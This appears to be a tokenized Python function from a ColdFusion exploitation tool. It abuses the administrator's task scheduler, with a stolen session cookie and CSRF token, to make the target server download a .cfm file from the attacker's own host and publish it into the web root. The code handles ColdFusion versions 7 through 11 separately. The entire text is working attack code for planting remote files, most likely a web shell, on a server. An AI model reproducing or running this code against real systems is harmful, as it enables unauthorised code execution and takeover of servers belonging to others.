#NEWLINE# def create_task( ip , fingerprint , cfm_file , root ) : #NEWLINE# #INDENT# ' Create the task\n    ' #NEWLINE# url = 'http://{0}:{1}/CFIDE/administrator/scheduler/scheduleedit.cfm' . format ( ip , fingerprint . port ) #NEWLINE# ( cookie , csrf ) = fetch_csrf ( ip , fingerprint , url ) #NEWLINE# data = { #NEWLINE# #INDENT# 'TaskName' : cfm_file , #NEWLINE# 'Start_Date' : 'Jan 27, 2014' , #NEWLINE# 'ScheduleType' : 'Once' , #NEWLINE# 'StartTimeOnce' : '9:56 PM' , #NEWLINE# 'Operation' : 'HTTPRequest' , #NEWLINE# 'ScheduledURL' : 'http://{0}:{1}/{2}' . format ( utility . local_address ( ) , state . external_port , cfm_file ) , #NEWLINE# 'publish' : '1' , #NEWLINE# 'publish_file' : ( ( root + '\\' ) + cfm_file ) , #NEWLINE# 'adminsubmit' : 'Submit' , #NEWLINE# #UNINDENT# } #NEWLINE# if ( fingerprint . version in [ '9.0' , '10.0' , '11.0' ] ) : #NEWLINE# #INDENT# data [ 'csrftoken' ] = csrf #NEWLINE# #UNINDENT# if ( fingerprint . version in [ '10.0' , '11.0' ] ) : #NEWLINE# #INDENT# data [ 'publish_overwrite' ] = 'on' #NEWLINE# #UNINDENT# if ( fingerprint . version in [ '7.0' , '8.0' ] ) : #NEWLINE# #INDENT# data [ 'taskNameOrig' ] = '' #NEWLINE# #UNINDENT# response = utility . requests_get ( url , cookies = cookie ) #NEWLINE# if ( response . status_code is 200 ) : #NEWLINE# #INDENT# response = utility . requests_post ( url , data = data , cookies = cookie , headers = { #NEWLINE# #INDENT# 'Content-Type' : 'application/x-www-form-urlencoded' , #NEWLINE# #UNINDENT# } ) #NEWLINE# if ( response . status_code is 200 ) : #NEWLINE# #INDENT# return True #NEWLINE# #UNINDENT# else : #NEWLINE# #INDENT# utility . Msg ( ( 'Failed to deploy (HTTP %d)' % response . status_code ) , LOG . ERROR )